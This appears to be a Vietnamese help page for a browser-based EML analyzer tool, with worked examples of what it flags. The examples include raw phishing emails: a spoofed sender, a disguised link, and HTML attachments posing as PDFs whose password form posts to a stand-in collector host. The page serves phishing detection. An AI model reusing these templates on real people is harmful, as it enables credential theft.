Kiểm tra các bản ghi SPF (với giới hạn 10 lần tra cứu), DMARC, DKIM, MTA-STS và BIMI của một tên miền.
Trình phân tích EML
Công cụ này được hiển thị bằng tiếng Anh; trang này giải thích về công cụ đó bằng ngôn ngữ của bạn.
Sử dụng Trình phân tích EML
Chức năng của nó là gì?
Kéo thả tệp .eml hoặc dán nội dung tin nhắn để kiểm tra các tiêu đề người gửi, chuỗi “Received”, các liên kết và tệp đính kèm. Tất cả đều chạy trực tiếp trên trình duyệt của bạn.
Ứng dụng này hoạt động hoàn toàn trên trình duyệt của bạn: mọi thông tin bạn nhập vào đều không được tải lên.
Cách sử dụng Trình phân tích EML
- Xem nội dung tin nhắn gốc. Lưu email dưới dạng tệp .eml hoặc sao chép mã nguồn của email: Gmail – Hiển thị bản gốc, Outlook – Xem mã nguồn tin nhắn, Thunderbird hoặc Apple Mail – Xem mã nguồn. Các tệp .msg của Outlook không được hỗ trợ.
- Tải nó lên. Kéo thả tệp .eml vào ô hoặc chọn tệp đó (tối đa 50 MB), hoặc dán nguồn vào ô văn bản (tối đa 5 MB) rồi nhấn “Phân tích”.
- Đọc phần tóm tắt. Các kết quả được phân loại thành các dấu hiệu nguy hiểm, cảnh báo, ghi chú và các mục đã kiểm tra đạt yêu cầu. Mỗi dòng đều ghi rõ tiêu đề, liên kết hoặc tệp đính kèm mà nó xuất phát từ đó.
- Xem chi tiết. Dưới phần tóm tắt là các tiêu đề người gửi, các tên miền được so sánh với tên miền “From”, kết quả xác thực, chuỗi “Received”, từng liên kết và từng tệp đính kèm.
- Xem các chỉ số. Chọn các loại chỉ báo bạn cần, sau đó sao chép chúng dưới dạng nguyên bản hoặc đã loại bỏ độ trễ, tải xuống dưới dạng tệp .txt hoặc sử dụng tính năng “Gửi đến”.
Ví dụ
Thông điệp lừa đảo được soạn thảo công phu
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…Tên hiển thị giả mạo là support@example.com, các trường “Reply-To” và “DKIM” trỏ đến các tên miền khác, lỗi DMARC, một liên kết có nội dung hiển thị là www.example.com nhưng lại dẫn đến login.example.net, và tệp đính kèm invoice.pdf.html có biểu mẫu nhập mật khẩu.
Nó kiểm tra những gì
| Tín hiệu | Ý nghĩa của điều đó là gì |
|---|---|
| Hiển thị tên kèm theo địa chỉ email | Sẽ rất nguy hiểm khi tên hiển thị một địa chỉ nhưng người gửi thực sự lại là một địa chỉ khác. Các ứng dụng email thường chỉ hiển thị tên. |
| Địa chỉ "Reply-To" trên một miền khác | Lưu ý: Phản hồi của bạn sẽ được gửi đến một tổ chức khác với người gửi. |
| Kết quả xác thực | Lỗi DMARC và lỗi SPF là những dấu hiệu nguy hiểm; lỗi SPF dạng softfail và lỗi DKIM là những cảnh báo. Chỉ kết quả do nhà cung cấp của bạn cung cấp mới được tính. |
| Return-Path và các miền DKIM d= | Sẽ được ghi nhận khi chúng khác với miền “From”. Điều này là bình thường đối với các dịch vụ gửi thư hàng loạt, nhưng DMARC yêu cầu một trong hai phải trùng khớp. |
| Chuỗi đã nhận | Các nút trung gian được liệt kê theo thứ tự từ cũ nhất đến mới nhất, kèm theo thông tin về độ trễ. Các trường hợp có dấu thời gian sớm hơn nút trung gian trước đó, độ trễ vượt quá một giờ hoặc kết quả DNS ngược “có thể bị làm giả” sẽ bị đánh dấu cảnh báo. |
| Văn bản liên kết và địa chỉ đích | Sẽ rất nguy hiểm khi văn bản hiển thị tên một tên miền nhưng liên kết lại dẫn đến một tên miền khác, hoặc khi văn bản đứng trước ký tự @ che giấu tên máy chủ thực sự. Các địa chỉ IP thuần túy, mã Punycode, các dịch vụ rút gọn liên kết và các liên kết được bao bọc cũng sẽ bị đánh dấu. |
| Tệp đính kèm | Các phần mở rộng kép, các tệp chạy mã hoặc mở trong trình duyệt, nội dung không khớp với phần mở rộng và các thủ thuật ghi đè từ phải sang trái đều bị đánh dấu. Mỗi tệp đều được tính toán các giá trị SHA-256, SHA-1 và MD5. |
| Các biểu mẫu và tập lệnh trong HTML | Một biểu mẫu có trường nhập mật khẩu trong phần nội dung hoặc trong tệp đính kèm là một dấu hiệu nguy hiểm. Mã tập lệnh bên trong tệp đính kèm là một cảnh báo. |
Các ví dụ khác
Một liên kết giúp ẩn địa chỉ IP
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>1 dấu hiệu nguy hiểm: “1 liên kết: văn bản trước ký tự ‘@’ bị bỏ qua: máy chủ thực là 203.0.113.7”, và 1 cảnh báo: “1 liên kết: liên kết trỏ đến một địa chỉ IP thuần túy”. Bảng Liên kết hiển thị địa chỉ đã được vô hiệu hóa bên cạnh văn bản “Nâng cấp bộ nhớ”.
Một trang HTML giả dạng là tệp PDF
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--2 dấu hiệu cảnh báo: tệp đính kèm invoice.pdf “chứa một biểu mẫu có trường nhập mật khẩu”, và “nội dung của nó là tài liệu HTML, không phải tệp .pdf”. Thẻ đính kèm hiển thị Nội dung: Tài liệu HTML và ba mã băm; bảng Liên kết liệt kê địa chỉ đích của biểu mẫu kèm chú thích “biểu mẫu gửi dữ liệu đến địa chỉ này”.
Câu hỏi thường gặp
Công cụ EML Analyzer kiểm tra những gì?
Nó giải mã các tiêu đề và từng phần MIME, so sánh các miền From, Reply-To, Return-Path, DKIM d= và Message-ID, đồng thời đọc trường Authentication-Results. Nó cũng liệt kê các bước trung gian (hops) trong trường "Received" kèm theo độ trễ tương ứng, mọi liên kết cùng với văn bản hiển thị của chúng, và các giá trị SHA-256, SHA-1 và MD5 của từng tệp đính kèm.
Nó có thể chứng minh rằng một email là lừa đảo hay là an toàn không?
Không. Thông tin này chỉ nêu ra các sự kiện và dấu hiệu cảnh báo, chứ không phải là kết luận: thư hàng loạt hợp pháp thường có trường Return-Path hoặc miền DKIM khác, và các chữ ký DKIM được liệt kê nhưng chưa được xác minh bằng phương pháp mã hóa. Các tệp .msg của Outlook không được hỗ trợ; hãy lưu thư dưới dạng .eml trước.
Email đó đã được tải lên đâu chưa?
Không. Tệp được đọc và phân tích cú pháp ngay trong trình duyệt của bạn, mã HTML được hiển thị dưới dạng văn bản và không bao giờ được hiển thị dưới dạng giao diện, đồng thời không có dữ liệu nào được truyền qua mạng. Nút “Gửi đến” truyền kết quả đến một trang công cụ khác thông qua bộ nhớ phiên của trình duyệt.
Nó tin vào tiêu đề Authentication-Results nào?
Thông tin này được thêm vào bởi chính hệ thống thư điện tử của bạn, được nhận diện từ chuỗi “Received” và được đánh dấu là “được thêm bởi máy chủ của người nhận”. Các tiêu đề nằm ở phần dưới của thư có thể do người gửi thêm vào, vì vậy trang web khuyến cáo bạn chỉ nên tin tưởng vào kết quả do nhà cung cấp dịch vụ của bạn cung cấp.
Nó có thể mở một email được đính kèm trong một email khác không?
Đúng vậy. Một tin nhắn đính kèm sẽ được hiển thị kèm theo các giá trị băm của nó và nút “Phân tích tin nhắn đính kèm”, giúp mở tin nhắn đó trong cùng một giao diện. Nút “Quay lại tin nhắn bên ngoài” sẽ đưa bạn quay lại.
Tại sao một số địa chỉ IP lại không xuất hiện trong các chỉ số?
Các địa chỉ riêng tư và địa chỉ cục bộ, cũng như các bước trung gian bên trong hệ thống thư điện tử của chính người nhận, đều bị loại bỏ, vì chúng không trỏ đến các máy chủ của người gửi. Địa chỉ email của người nhận cũng không bao giờ được đưa vào.